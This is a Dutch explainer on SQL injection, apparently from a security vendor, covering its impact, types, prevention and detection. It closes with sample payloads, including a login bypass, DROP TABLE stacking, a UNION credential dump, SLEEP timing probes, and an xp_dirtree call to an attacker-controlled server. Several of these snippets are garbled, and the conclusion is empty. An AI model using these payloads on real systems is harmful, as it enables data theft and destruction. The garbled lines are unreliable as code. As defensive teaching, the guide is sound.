Wat is SQL-injectie? Voorbeelden en preventie

Deze uitgebreide gids legt uit wat SQL-injectie is, hoe het werkt en wat de mogelijke gevolgen zijn voor uw systemen. Lees meer over verschillende soorten SQL-injecties en preventiestrategieën voor bedrijven.

Van alle verschillende kwetsbaarheden die in webapplicaties bestaan, wordt SQL-injectie als een van de gevaarlijkste beschouwd, omdat het een aanvaller in staat stelt om met slechts een paar regels kwaadaardig geschreven code ongeoorloofde toegang te krijgen tot alle waardevolle gegevens. Dit kan leiden tot het lekken van klantinformatie, financiële gegevens en bedrijfseigen gegevens, wat zeer ernstige gevolgen kan hebben: datalekken, financieel verlies en verstoring van de bedrijfsvoering. Overigens was SQL-injectie in 2023 wereldwijd verantwoordelijk voor ongeveer 23% van de belangrijkste kwetsbaarheden in webapplicaties, waardoor industrieën behoorlijk kwetsbaar zijn geworden.

Het risico van SQL-injectie voor een organisatie kan niet genoeg worden benadrukt. Naarmate bedrijven voor essentiële functies steeds afhankelijker worden van webapplicaties, wordt het beschermen van de database tegen SQLi-aanvallen een urgente kwestie. Mogelijke gevolgen van een dergelijke aanval zijn onder meer financieel verlies, rechtszaken, boetes van toezichthouders en langdurige reputatieschade. Het waarborgen van een robuuste bescherming tegen SQL-injectie betekent het waarborgen van continuïteit in operationele veiligheid en bedrijfsintegriteit.

In dit artikel zullen we uitleggen wat SQL-injectie is, hoe het werkt, wat de mogelijke gevolgen zijn, welke verschillende soorten SQL-injecties er zijn en, het allerbelangrijkste, hoe SQL-injectieaanvallen kunnen worden voorkomen. Aan het einde van deze gids heeft u een volledig begrip van hoe SQL-injecties werken, hoe hackers deze kwetsbaarheden misbruiken en hoe bedrijven hun webapplicaties en databases kunnen beveiligen.

Wat is SQL-injectie (SQLi)?

SQL-injectie (SQLi) is een beveiligingslek waardoor aanvallers kwaadaardige SQL-code kunnen injecteren in de invoervelden van een webapplicatie, waardoor de database kan worden gemanipuleerd. Dit gebeurt meestal wanneer invoer van gebruikers niet goed wordt gezuiverd, waardoor schadelijke opdrachten kunnen worden uitgevoerd. In plaats van authentieke gegevens op te halen, kan een aanvaller bijvoorbeeld SQL-opdrachten in het inlogveld typen en het netwerk compromitteren.

SQL-injectie-kwetsbaarheden komen vaak voor in webapplicaties waar SQL-query's dynamisch worden gegenereerd op basis van gebruikersinvoer. Maar als een applicatie onvoorzichtig vertrouwt op deze invoer, kan een aanvaller vrijelijk een SQL-statement naar keuze uitvoeren om gegevens op te halen of wijzigingen aan te brengen in de database. Als gevolg hiervan kunnen de aanvallers persoonlijke gegevens in handen krijgen, gegevens wijzigen of de database volledig verwijderen, met roekeloze gevolgen voor het bedrijf.

Een van de meest alarmerende aspecten van SQL-injecties is het feit dat ze nog steeds wijdverbreid zijn, ook al is dit type kwetsbaarheid al geruime tijd bekend. Volgens het rapport "State of the Internet" 2020 maakt SQLi bijna 80% uit van alle aanvallen op webapps voor detailhandel, reizen en horeca tussen 2018 en 2020. Bovendien zijn webapplicaties die gebruikersinvoer toestaan via een inlogformulier, een zoekveld of rechtstreeks via URL's het meest kwetsbaar voor SQLi-aanvallen. Aangezien SQL op grote schaal wordt gebruikt, wijst dit op een groot aanvalsoppervlak; organisaties moeten daarom speciale aandacht besteden aan het beveiligen van deze kwetsbaarheden.

Belangrijkste kenmerken van SQL-injectie:

• Misbruik van gebruikersinvoer: De aanvallers injecteren kwaadaardige SQL-code in applicaties die gebruikersinvoer niet goed opschonen of valideren.
• Databasemanipulatie: Na een succesvolle SQL-injectie manipuleren de aanvallers de databases door gevoelige gegevens, zoals klantgegevens of zelfs financiële informatie, te wijzigen, te verwijderen of op te halen.
• Multi-vector: SQLi kan op een of meer plaatsen in de webapplicatie voorkomen, zoals inlogpagina's, zoekbalken of zelfs URL-parameters, waardoor de hacker over meerdere vectoren beschikt om het systeem met succes te compromitteren.
• Toegang tot gevoelige gegevens: Nadat een aanvaller ongeoorloofde toegang heeft verkregen, zal hij kritieke informatie extraheren die belangrijke gegevens van een bedrijf of privé-informatie van klanten kan onthullen.
• Alomtegenwoordig en hardnekkig: SQL-injectie blijft alomtegenwoordig in de meeste sectoren, behalve in sectoren die te maken hebben met veel gegevenstransacties. Als er geen beveiligingsmaatregelen worden genomen, is de kans groot dat organisaties ernstige financiële verliezen lijden, gepaard gaande met reputatieschade en mogelijke rechtszaken tegen hen.

Wat is de impact van een succesvolle SQL-injectieaanval?

Elke organisatie kan bevestigen dat de gevolgen van een succesvolle aanval met behulp van SQL-injectie rampzalig zijn. Naast vele andere mogelijke gevolgen kan het gaan om diefstal van gevoelige gegevens, verstoring van de bedrijfsvoering, reputatieschade en zelfs juridische stappen wanneer een aanvaller met behulp van SQL-injectie ongeoorloofde toegang krijgt tot een database. Laten we hier dieper op ingaan:

1. Diefstal van gegevens: Een direct gevaar van een SQL-injectieaanval is diefstal van gegevens. Dat wil zeggen dat een aanvaller mogelijk toegang krijgt tot persoonlijk identificeerbare informatie, lijsten met gebruikersnamen, wachtwoorden, financiële gegevens en meer. Gestolen gegevens kunnen worden verkocht op het dark web of worden gebruikt voor identiteitsdiefstal en fraude. Voor bedrijven leiden datalekken vaak tot enorme financiële verliezen en rechtszaken.
2. Gegevensverlies: Naast gegevensdiefstal kunnen aanvallers ook cruciale informatie uit de database verwijderen. Denk hierbij aan het verwijderen van klantgegevens, financiële gegevens en interne documenten. Dergelijk verlies brengt bedrijfsactiviteiten altijd in de war en kan leiden tot downtime. SQL-injectieaanvallen zijn vrij duur en tijdrovend om te herstellen wanneer er geen goede back-ups zijn gemaakt.
3. Reputatieschade: In het ergste geval, wanneer klanten ontdekken dat er een SQL-injectie-inbreuk heeft plaatsgevonden waarbij informatie over hen is gelekt, verliezen ze onmiddellijk hun vertrouwen. Klanten zullen dan het platform verlaten of een rechtszaak aanspannen, waardoor de merknaam in de ogen van de markt wordt geruïneerd. Wanneer klanten al hun vertrouwen in een bedrijf verliezen, kan het vele jaren duren om hun reputatie in de markt te herstellen.
4. Boetes van toezichthouders: Als een SQL-injectieaanval leidt tot het verlies van gevoelige gegevens, kunnen bedrijven die onder strenge gegevensbeschermingsvoorschriften vallen, zoals GDPR, HIPAA of PCI DSS, hoge boetes opgelegd krijgen. Daarnaast kunnen er andere regelgevende instanties zijn die altijd strenge straffen opleggen, waardoor de kosten van de inbreuk op de beveiliging nog verder stijgen. Bovendien kunnen organisaties ook worden verplicht om alle getroffen klanten op de hoogte te stellen van de situatie, wat opnieuw tot nog grotere reputatieschade kan leiden.
5. Overname van het systeem: In sommige extreme gevallen kunnen SQL-injecties aanvallers in staat stellen om administratieve controle over of bezit van het hele systeem te verkrijgen. De aanvallers kunnen ook de volledige controle over het systeem overnemen, waardoor ze de database, de applicatie en zelfs de andere aangesloten systemen kunnen manipuleren. Dergelijke overnames zijn catastrofaal, waarbij het systeem helemaal opnieuw moet worden opgebouwd om het weer functioneel te maken.

Hoe werkt een SQL-injectieaanval?

Inzicht in hoe SQL-injectie werkt, kan ontwikkelaars en bedrijven helpen bij het beantwoorden van een van de belangrijkste vragen, namelijk hoe ze SQL-injectie kunnen voorkomen en hun systemen kunnen beschermen. Manipulatie van slecht gevalideerde gebruikersinvoer die is ingebed in SQL-query's die communiceren met de database, vormt de kern van een SQL-injectieaanval. Zo werkt het:

1. Identificatie van het doelwit: Tijdens een aanval identificeren de aanvallers een potentieel doelwit, bijvoorbeeld een webapplicatie die communiceert met een back-end database. De aanvaller zoekt naar invoervelden, URL's of formulieren waarmee gegevens naar de server worden verzonden. Veelvoorkomende doelwitten zijn inlogpagina's, zoekbalken en contactformulieren waarin gebruikersinvoer wordt verzonden zonder dat deze wordt gezuiverd.
2. Kwaadaardige code injecteren: Zodra een kwetsbaarheid is geïdentificeerd, injecteren aanvallers kwaadaardige SQL-code in het invoerveld. Iets eenvoudigs als het toevoegen van "OR 1 = 1" — aan een inlogformulier kan de authenticatie omzeilen door de applicatie te misleiden en dit als een geldige query te accepteren, waardoor de manier waarop de database de SQL-query uitvoert, wordt gemanipuleerd.
3. Uitvoering van kwaadaardige code: In het geval dat de invoer van de gebruiker niet door de applicatie wordt gezuiverd of gevalideerd, wordt de SQL-code van een aanvaller samen met de geldige query door de database uitgevoerd. Dit is een van de manieren waarop aanvallers beveiligingsmaatregelen omzeilen en in de meeste gevallen directe toegang krijgen tot gevoelige informatie en records in de database verder kunnen wijzigen.
4. Gegevensgebruik: Nadat de aanvaller de kwaadaardige SQL-code heeft geïnjecteerd en uitgevoerd, kan hij de database op verschillende manieren misbruiken: gevoelige gegevens stelen, de database manipuleren door records toe te voegen en te verwijderen, en soms privileges escaleren, waardoor hij beheerder van het hele systeem kan worden.

Soorten SQL-injectie

SQL-injectieaanvallen kunnen verschillen in de manier waarop de kwaadaardige code wordt geïnjecteerd en hoe de te extraheren informatie daadwerkelijk wordt geëxtraheerd. Hieronder volgen de vier belangrijkste soorten SQL-injectieaanvallen die verschillende manieren van detectie en preventie vereisen:.

1. In-band SQL-injectie: Dit is het type SQL-injectieaanval waarbij de aanvaller kwaadaardige SQL-opdrachten injecteert en de resultaten via hetzelfde communicatiekanaal kan bekijken. Voorbeeld: een aanvaller plaatst SQL-code in een zoekveld en bekijkt de onmiddellijke resultaten die direct op de webpagina worden weergegeven. Dit type injectie is voor hackers zeker het gemakkelijkst, omdat het onmiddellijke feedback geeft.
2. Blinde SQL-injectie: Bij een blinde SQL-injectie krijgt de aanvaller geen onmiddellijke feedback van de database. In plaats daarvan leidt hij informatie af uit de reactie of het gedrag van de applicatie. Een aanvaller kan bijvoorbeeld voorwaardelijke statements gebruiken om op basis van de reactie van de applicatie te bepalen of bepaalde gegevens in de database aanwezig zijn, zelfs zonder directe toegang tot de database-output.
3. Out-of-band SQL-injectie: Bij out-of-band SQL-injectie vertrouwt de aanvaller op een externe server om de kwaadaardige queryresultaten te verzamelen. De aanvaller zou namelijk een ander kanaal opzetten, bijvoorbeeld HTTP of DNS, om gegevens uit het gecompromitteerde systeem te exfiltreren in plaats van een onmiddellijke reactie te overwegen. Dit komt minder vaak voor en is over het algemeen moeilijker uit te voeren, maar wel erg heimelijk.
4. Tweede-orde SQL-injectie: Dit soort aanvallen vindt plaats wanneer de kwaadaardige code wordt geïnjecteerd en opgeslagen in de database om later te worden uitgevoerd. De code blijft inactief totdat deze wordt geactiveerd door een andere gebeurtenis, die op zichzelf een administratieve actie kan zijn. SQL-injecties van de tweede orde zijn veel moeilijker te detecteren, aangezien de aanval pas lang na de eerste code-injectie plaatsvindt. Vaak is het ook moeilijk om de oorspronkelijke bron te traceren.

Hoe maken hackers misbruik van kwetsbaarheden in SQL-injecties?

Hackers zoeken systematisch naar kwetsbaarheden die kunnen worden misbruikt via SQL-injectie en maken daar gebruik van. Door inzicht te krijgen in hun belangrijkste methoden kunnen bedrijven effectievere maatregelen nemen om zich hiertegen te verdedigen. Hieronder wordt uitgelegd hoe hackers misbruik maken van SQLi-kwetsbaarheden:

1. Scannen van kwetsbaarheden: Aanvallers beginnen meestal met het scannen van een webapplicatie op kwetsbaarheden. Tools automatiseren dit proces in een poging om zwakke plekken te vinden die mogelijk velden bevatten die niet-gezuiverde invoer accepteren. Deze stap helpt de hacker om potentiële toegangspunten voor een aanval te identificeren.
2. Het opstellen van kwaadaardige query's: Zodra hackers een zwak invoerveld hebben gevonden, stellen ze kwaadaardige SQL-query's samen die bedoeld zijn om misbruik te maken van de kwetsbaarheid. De query wordt zo ontworpen dat deze een database kan manipuleren om commando's uit te voeren die niet door de ontwikkelaar zijn bedoeld en de hacker in staat stellen gegevens op te halen, te wijzigen of te verwijderen.
3. SQL-code uitvoeren: Zodra de query is gemaakt, verzenden de aanvallers deze query via de invoervelden die beschikbaar zijn in de applicatie. Als de applicatie dergelijke invoer niet correct valideert, voert de database de kwaadaardige code uit. Dit geeft de aanvaller ongeoorloofde toegang tot gevoelige gegevens of administratieve controles.
4. Privilege-escalatie: Na een succesvolle uitvoering van een SQL-injectie proberen sommige aanvallers hun privileges te vergroten. Door de database te manipuleren, kunnen ze toegang op beheerdersniveau verkrijgen, waardoor ze niet alleen controle krijgen over de database zelf, maar zelfs over het hele systeem. Ze kunnen malware installeren om toegang te krijgen tot andere interne systemen en nog grotere schade aanrichten.

Effectieve technieken om SQL-injectieaanvallen te voorkomen

Laten we nu bespreken hoe we SQL-injectieaanvallen kunnen voorkomen. Het voorkomen van SQL-injectieaanvallen vereist een proactieve aanpak om de veiligheid van uw webapplicaties te waarborgen. De kans op een aanval kan aanzienlijk worden verkleind door de volgende technieken toe te passen:

1. Vooraf opgestelde statements en geparametriseerde query's: De beste manier om SQL-injectieaanvallen te voorkomen, is waarschijnlijk door gebruik te maken van vooraf opgestelde statements en geparametriseerde query's. In dit geval wordt de SQL-code vooraf gedefinieerd en moeten de door gebruikers verstrekte gegevens alleen als gegevens worden behandeld en nooit als uitvoerbare code. Op die manier kan zelfs bij kwaadwillige invoer de structuur van het SQL-commando niet worden beïnvloed.
2. Invoervalidatie: Invoervalidatie zorgt ervoor dat de door gebruikers ingevoerde gegevens voldoen aan het verwachte formaat. Door strikte regels in te stellen voor welke soorten gegevens kunnen worden ingevoerd (bijvoorbeeld alleen getallen in een prijsveld), kunt u voorkomen dat potentieel schadelijke invoer uw database bereikt. Invoervalidatie is een essentiële beveiligingslaag om SQL-injecties te voorkomen.
3. Web Application Firewall of WAF: Eenvoudig gezegd fungeert de WAF als een barrière tussen uw applicatie en het internet, die kwaadaardig verkeer filtert. Met behulp van machine learning kunnen moderne WAF's ongebruikelijke patronen detecteren, zoals pogingen tot SQL-injectie, en deze blokkeren voordat ze uw applicatie bereiken.
4. Gegevenssanering: Gegevenssanering verwijst naar het opschonen van de invoergegevens door speciale tekens, zoals aanhalingstekens en puntkomma's, die SQL-opdrachten kunnen activeren, te verwijderen of te ontsnappen. Wanneer alle gebruikersinvoer correct wordt gesaneerd, wordt de mogelijkheid weggenomen dat een aanvaller speciale tekens gebruikt om kwaadaardige SQL-query's uit te voeren.
5. Principe van minimale toegangsrechten: Het principe van minimale rechten beperkt de toegangsniveaus voor gebruikers tot die welke noodzakelijk zijn. Hierdoor wordt de kans op succes van een SQL-injectieaanval minimaal. Een voorbeeld hiervan is dat een gebruiker die leesrechten nodig heeft binnen de database, geen rechten mag hebben om records in de database te verwijderen of te wijzigen.

Hoe SQL-injectie-kwetsbaarheden detecteren?

Proactieve detectie van kwetsbaarheden voor SQL-injectie beschermt uw systeem. Bedrijven kunnen een aantal van de volgende methoden gebruiken om zwakke punten in hun webapplicaties op te sporen:

1. Geautomatiseerde scanners: De geautomatiseerde scantools doen alsof ze kwaadaardige SQL-code in invoervelden injecteren, zoals bij SQL-injectieaanvallen, en analyseren vervolgens de reactie van de applicatie. Ze zijn zeer effectief in het snel scannen van grote applicaties en het rapporteren van kwetsbaarheden. Enkele populaire geautomatiseerde scantools zijn Burp Suite, SQLMap, Acunetix en OWASP ZAP, die de mogelijkheid bieden om veelvoorkomende kwetsbaarheden zoals SQL-injectie effectief te identificeren. De beperking van geautomatiseerd scannen is dat het, hoewel het een uitstekende eerste stap is in de detectie van beveiligingsproblemen, verschillende tekortkomingen heeft. Complexe kwetsbaarheden op basis van logica worden over het algemeen vaak over het hoofd gezien en er zijn veel valse positieven, wat onnodig tot herstelwerkzaamheden leidt. Geautomatiseerd scannen moet daarom worden aangevuld met andere middelen.
2. Handmatige codebeoordelingen: Automatische scanners bieden een hoge snelheid, maar handmatige codebeoordelingen bieden diepgang. Beveiligingsexperts kunnen de code beoordelen om beveiligingskwetsbaarheden te ontdekken die mogelijk niet worden gedetecteerd door automatische testtools, of het nu gaat om complexe logische fouten of contextspecifieke zwakke punten. Met een grondige handmatige beoordeling kunnen zeer moeilijk te detecteren potentiële aanvalsvectoren aan het licht worden gebracht, zoals oneigenlijk gebruik van gebruikersinvoer in de applicatie. Dit zijn echter allemaal activiteiten die veel tijd en middelen vergen. Daarom moet u handmatige beoordelingen integreren met geautomatiseerde scantools in plaats van ze te vervangen.
3. Penetratietesten: Bij deze vorm van beveiligingstesten worden professionele hackers ingehuurd die echte SQL-injectieaanvallen op een live systeem simuleren. Deze aanpak biedt een realistisch, diepgaand inzicht in hoe goed uw webapplicatie bestand is tegen een gerichte aanval. Dit omvat met name penetratietesten, waarmee problemen aan het licht komen die geautomatiseerde tools en handmatige controles kunnen missen, aangezien het een daadwerkelijk vijandig beeld geeft van hoe kwetsbaarheden kunnen worden misbruikt. Hoewel deze methode zeer effectief is, is ze ook duurder dan andere maatregelen en vereist ze gespecialiseerde vaardigheden. Penetratietesten zijn daarom het meest geschikt voor gerichte beveiligingsevaluaties en niet zozeer voor het continu monitoren van de beveiliging van systemen.
4. Kwetsbaarheidsbeoordelingen: Het uitvoeren van regelmatige kwetsbaarheidsbeoordelingen is van groot belang voor het opsporen van beveiligingslekken die in een webapplicatie kunnen opduiken, waaronder SQL-injecties. Aan de andere kant omvatten kwetsbaarheidsbeoordelingen omvatten grondiger controles dan geautomatiseerde scans, zoals beoordelingen van databaseconfiguraties, invoervalidatiepraktijken en gebruikersrechten. In principe worden beoordelingen volgens een schema uitgevoerd, zodat nieuw geïntroduceerde kwetsbaarheden kunnen worden opgespoord naarmate de codebases zich verder ontwikkelen of wanneer applicaties complexer worden. Door regelmatig kwetsbaarheidsbeoordelingen uit te voeren, kan een organisatie op de hoogte blijven van nieuwe bedreigingen en/of aanvalsvectoren.
5. Bedreigingsanalyse: Bij een bedreigingsanalyse wordt vastgesteld hoe potentiële aanvallers misbruik kunnen maken van SQL-injectie-kwetsbaarheden in het systeem. Bedreigingsmodellering bij F5 helpt beveiligingsteams bij het identificeren van de meest waarschijnlijke aanvalsvectoren, afhankelijk van de architectuur van de applicatie, waar gevoelige gegevens zich bevinden en via welke gebruikersinteractie met het systeem plaatsvindt. Bij dit soort analyses worden kwetsbaarheden geprioriteerd voor herstel door rekening te houden met de potentiële impact en de kans op misbruik. Bedreigingsanalyse kan ook worden gebruikt om toegangspunten voor SQL-injectie te identificeren, waardoor teams een idee krijgen van waar ze hun inspanningen op moeten richten.
6. Het gedragspatroon van gebruikers volgen: Het monitoren van gebruikersgedrag is een vrij geavanceerde vorm van beveiliging, waarmee tekenen van een aanhoudende SQL-injectieaanval kunnen worden gedetecteerd. Deze vorm van beveiliging biedt organisaties de mogelijkheid om gebruikersactiviteiten te monitoren op afwijkingen van de gebruikelijke activiteitspatronen. De organisatie kan bijvoorbeeld herkennen wanneer legitieme betwiste gebruikersaccounts gevoelige zoekopdrachten uitvoeren of gevoelige delen van de database verwerken. Dit soort afwijkingen kunnen wijzen op accountcompromittering of succesvolle SQL-injectie-exploits. Tools voor User Behavior Analytics (UBA) kunnen deze afwijkingen in realtime signaleren, waardoor onmiddellijk kan worden ingegrepen voordat er grote schade kan ontstaan. Gedragsmonitoring vormt een aanvullende beveiligingslaag op traditionele methoden voor het opsporen van kwetsbaarheden.

Checklist voor het voorkomen van SQL-injectie (best practices)

SQL-injectieaanvallen kunnen alleen worden voorkomen door een proactieve benadering van beveiliging, waarbij meerdere lagen worden opgebouwd. Hier volgt een gedetailleerde checklist met best practices die u kunnen helpen uw webapplicaties en databases tegen deze gevaarlijke exploits te beschermen:

#1. Gebruik voorbereide statements en geparametriseerde query's

Wat is het? Vooraf opgestelde statements scheiden SQL-code van gebruikersinvoer, waardoor de database elke invoer strikt als gegevens interpreteert en nooit als een uitvoerbare opdracht. Dit beperkt dus effectief pogingen tot SQL-injectie.

Waarom is dit belangrijk? Vooraf opgestelde statements houden gebruikersinvoer veilig door nooit geïnjecteerde SQL-opdrachten van de gebruiker toe te staan.

Te nemen maatregelen: Voeg gebruikersinvoer nooit rechtstreeks samen in SQL-query's. Aan de andere kant moet applicatiecode geparametriseerde query's gebruiken bij het schrijven in Java of .NET of welke talen dan ook.

#2. Alle gebruikersinvoer opschonen en valideren

Wat is het? Het opschonen en valideren van invoer zijn methoden om door gebruikers verstrekte gegevens te testen om er zeker van te zijn dat ze de juiste indeling hebben en om mogelijk schadelijke tekens te verwijderen.

Waarom is dit belangrijk? Aanvallers injecteren vaak kwaadaardige SQL door gebruik te maken van niet-gereinigde invoer. Een goede invoervalidatie vermindert dit risico aanzienlijk.

Te nemen maatregelen:INPUT-validatie wordt verplicht geïmplementeerd voor alle invoervelden, inclusief inlogformulieren en URL's. Dit omvat datatypes en formaatverificatie, evenals het ontsnappen van speciale tekens die mogelijk schade kunnen veroorzaken.

#3. Toegang met minimale rechten:

Wat is dit? Toegang met minimale rechten staat alleen die rechten toe die absoluut noodzakelijk zijn om taken of functies uit te voeren. Dit zal de schade die een inbreuk kan veroorzaken verder beperken.

Hoe helpt dit? Door de databaserechten te beperken, kan worden gegarandeerd dat zelfs wanneer een aanvaller erin slaagt SQLi uit te voeren, hij/zij geen informatie buiten zijn/haar toegewezen grenzen kan bekijken of wijzigen.

Te nemen maatregelen: De rechten in de database moeten regelmatig worden gecontroleerd om ervoor te zorgen dat minimale rechten worden toegekend. Beheerdersrechten moeten worden beperkt tot alleen die gebruikers die deze nodig hebben.

#4. WAF: Web Application Firewall

Wat is het? Een Web Application Firewall is een apparaat dat HTTP-verzoeken opschoont en controleert; het blokkeert kwaadaardig verkeer, zoals pogingen tot SQL-injectie, zodat dit uw applicatie nooit bereikt.

Wat is het voordeel? WAF's voegen een extra verdedigingslaag toe, inspecteren inkomend verkeer op bekende SQL-injectieaanvalspatronen en blokkeren deze in realtime.

Te nemen maatregelen: Implementeer een WAF die SQLi-pogingen kan blokkeren. Configureer de WAF om bekende SQL-injectietechnieken en afwijkend verkeersgedrag te detecteren.

#5. Voer regelmatig beveiligingsaudits uit

Wat is het? Een beveiligingsaudit houdt in dat een applicatie wordt getest aan de hand van gangbare beveiligingspraktijken, codes en configuraties om mogelijke kwetsbaarheden op te sporen.

Waarom is dit belangrijk? Door regelmatig audits uit te voeren, zorgt u ervoor dat nieuw ontdekte kwetsbaarheden worden verholpen voordat aanvallers de kans krijgen om hiervan te profiteren.

Te nemen maatregelen: Plan geautomatiseerde scans en regelmatige handmatige controles. Neem SAST, DAST en andere tools voor penetratietesten op in audits.

#6. Voer dreigingsmodellering en kwetsbaarheidsbeoordelingen uit

Wat is het? Dreigingsmodellering betekent het nabootsen van de aanpak van een aanvaller om de mogelijke aanvalsvectoren te identificeren, terwijl kwetsbaarheidsbeoordeling betekent dat actief wordt gezocht naar beveiligingslacunes die onder de aandacht worden gebracht en worden opgelost.

Hoe helpt dit? Bedreigingsmodellering helpt u prioriteiten te stellen voor de meest kritieke kwetsbaarheden, zodat u proactieve maatregelen kunt nemen om deze aan te pakken.

Te nemen maatregelen: Neem bedreigingsmodellering op in uw ontwikkelingscyclus. U moet periodieke kwetsbaarheidsbeoordelingen uitvoeren om bedreigingen tijdig te identificeren en effectief te beperken, voordat deze door een aanvaller kunnen worden benut.

#7. Detectie van afwijkend gebruikersgedrag

Wat is het? User Behavior Analytics (UBA)-tools volgen gebruikersactiviteiten en waarschuwen bij afwijkingen, zoals zoekopdrachten die normaal gesproken niemand uitvoert, om een compromittering of poging tot SQLi aan te geven.

Waarom gedrag monitoren? Een abnormale gebruiker kan eerder worden geïdentificeerd bij de detectie van SQL-injectieaanvallen om verdere schade te voorkomen.

Te nemen maatregelen: Implementeer UEBA-tools om gebruikersactiviteiten te monitoren, verdacht gedrag te markeren en te onderzoeken of er een actieve aanval gaande is.

#8. Beperk en pagineren van query's

Wat is het? Beperking en paginering beperken het aantal records dat door een databasequery wordt geretourneerd nog verder en zijn nuttig om massale gegevensextractie te voorkomen als er sprake is van een SQL-injectie.

Hoe beschermt dat u? Dat voorkomt dat aanvallers die erin geslaagd zijn een kwaadaardige query uit te voeren, enorme hoeveelheden gegevens kunnen ophalen, omdat het aantal geretourneerde rijen wordt beperkt.

Te nemen maatregelen: Gebruik SQL LIMIT- en OFFSET-clausules om de hoeveelheid gegevens die elke query retourneert te beperken. Door te beperken wat een aanvaller kan opvragen, wordt de potentiële schade van een succesvolle aanval beperkt.

#9. Houd software up-to-date en gepatcht

Wat is het? Regelmatige software-updates betekenen dat bekende kwetsbaarheden worden gepatcht. Dit maakt het systeem op zijn beurt minder kwetsbaar voor aanvallen.

Waarom vaak updaten? Veel SQLi-kwetsbaarheden zijn het gevolg van niet-gepatchte software. Door uw systemen up-to-date te houden, sluit u potentiële aanvalsvectoren af.

Te nemen maatregelen: Ontwikkel een patchbeheerstrategie die zorgt voor uniforme updates van webapplicaties, bibliotheken en databasesystemen naar de nieuwste veilige versies.

Voorbeelden van SQL-injectie

SQL-injectie is een van de meest voorkomende maar gevaarlijke kwetsbaarheden waarmee een aanvaller databasequery's kan manipuleren door kwaadaardige SQL-code via gebruikersinvoer te injecteren. Het is begrijpelijk dat ontwikkelaars en beveiligingsprofessionals de verschillende soorten SQL-injectie moeten begrijpen om een passende verdedigingsvorm te kunnen ontwikkelen. Hieronder volgen enkele voorbeelden van technieken met betrekking tot SQL-injectie, elk met verschillende exploitatiemethoden.

1. Authenticatie als beheerder

Bij een dergelijke aanval knoeit een aanvaller met een formulier om authenticatiecontroles te omzeilen. Door de injectie van 'password’ OF 1=1 wordt de query SELECT id FROM users WHERE username=’user’ AND password=’password’ OF 1=1. Omdat 1=1 altijd waar is, krijgt de aanvaller beheerdersrechten en omzeilt hij daarmee de vereiste van geldige inloggegevens. Deze aanval bewijst de kwetsbaarheid die ontstaat wanneer geen gebruik wordt gemaakt van geparametriseerde query's.

2. Toegang tot gevoelige informatie

SQL kan in een query worden geïnjecteerd om gevoelige gegevens uit de database op te halen. Een voorbeeld hiervan is de injectie van ‘Widget’ OR 1=1 in een productzoekopdracht zoals SELECT * FROM items WHERE owner = ‘John’ AND item name = ‘Widget’ OR 1=1 dwingt de database om alle rijen weer te geven. Het is duidelijk dat dit de beperkingen op ongeoorloofde toegang tot vertrouwelijke gegevens tenietdoet.

3. Gestapelde query's voor verwijdering

Een gestapelde query-aanval is een aanval waarbij meer dan één query tegelijk wordt uitgevoerd. Met de injectie van 20; DROP TABLE Products; zou een aanvaller bijvoorbeeld een query als SELECT * FROM Products WHERE product_id = 20 hebben omgezet in een query die de hele producttabel zou verwijderen. Dit toont het gevaar aan van het toestaan van de uitvoering van meer dan één SQL-instructie tegelijk.

4. Union-gebaseerde aanval

De aanvaller kan de UNION-operator gebruiken om meerdere queryresultaten te combineren. Hiervoor kan een aanvaller elke productquery zoals SELECT name, price FROM products WHERE category = ‘schoenen’ door UNION ALL SELECT gebruikersnaam, wachtwoord FROM gebruikers —. Deze query zal de gebruikersnamen en wachtwoorden samen met de productinformatie dumpen.

5. Blinde SQL-injectie

Bij blinde SQL-injectie hebben de aanvallers geen directe toegang tot de queryresultaten, maar kunnen ze informatie afleiden uit het gedrag van de applicatie. Stel dat deze query: SELECT FROM users WHERE id = ‘$id’ AND IF((SELECT COUNT() FROM users)>10, SLEEP(5), 0); Als de pagina meer tijd nodig heeft om te reageren, geeft dit aan dat de voorwaarde waar is. Hierdoor kan een aanvaller, zelfs als hij de uitvoer niet ziet, informatie verkrijgen over de databasesets.

6. Op fouten gebaseerde SQL-injectie

Deze aanval maakt gebruik van databasefoutmeldingen om informatie te verkrijgen. Bijvoorbeeld een query zoals hieronder: SELECT * FROM products WHERE id = 1 AND CONVERT(INT, (SELECT @@version)); – kan een foutmelding forceren die de SQL-versie of structurele informatie over de database onthult. Deze hints kunnen de aanvaller informatie verschaffen om verdere exploits te bedenken.

7. Booleaanse SQL-injectie

Booleaanse SQL-injectie is een type blinde SQL-injectie waarbij men probeert informatie op te halen via waar/onwaar-voorwaarden. Een voorbeeld ziet er als volgt uit: SELECT * FROM users WHERE id = ‘$id’ AND ‘1’=’1′; Als deze query een resultaat oplevert, maar dezelfde query met ‘1’=’0′ geen resultaat oplevert, weten ze dat de injectie heeft gewerkt. Deze aanpak is van toepassing als er geen zichtbare uitvoer is voor de aanvaller.

8. Tijdgebaseerde blinde SQL-injectie

Tijdgebaseerde blinde SQL-injectie is afhankelijk van tijdvertragingen om conclusies te trekken over de resultaten van een query. Voorbeeld: SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0); Als de pagina langer dan normaal laadt, dan is dat voor de aanvaller het bewijs dat de query succesvol is voltooid. Dit wordt meestal uitgevoerd wanneer er geen foutmeldingen of andere vormen van zichtbare feedback beschikbaar zijn.

9. Tweede-orde SQL-injectie

Dit gebeurt wanneer kwaadaardige invoer ergens wordt opgeslagen en na enige tijd wordt uitgevoerd in een andere databasebewerking. Voorbeeld: John’); DROP TABLE users;– Als deze invoer wordt opgeslagen en vervolgens zonder de juiste validatie in een andere query wordt uitgevoerd, kan dit leiden tot grote schade, zoals het verwijderen van een cruciale tabel.

10. Out-of-Band SQL-injectie

Bij dit type aanval vindt informatieverspreiding plaats via externe kanalen, zoals HTTP- of DNS-verzoeken. Voorbeeld: SELECT * FROM users WHERE id = 1; EXEC xp_dirtree ‘\\attacker-server\share’; Deze query stuurt op zijn beurt een verzoek naar een server die door de aanvaller wordt beheerd, waardoor indirect gegevens worden geëxtraheerd. In het geval van out-of-band-injectie moet de database de uitgaande verbindingen inschakelen.

11. SQL-injectie in opgeslagen procedures

SQL-injectie richt zich op de opgeslagen procedures zelf. Een goed voorbeeld hiervan volgt in deze opgeslagen procedure: CREATE PROCEDURE GetUserData @username NVARCHAR(50) AS EXEC(‘SELECT * FROM users WHERE username = ”’ + @username + ””); De invoer zou ‘ OR ‘1’=’1’ kunnen zijn en de query misleiden. Als invoer voor opgeslagen procedures niet8217;t goed worden opgeschoond, kunnen ze net zo kwetsbaar zijn als inline SQL-query's.

Conclusie

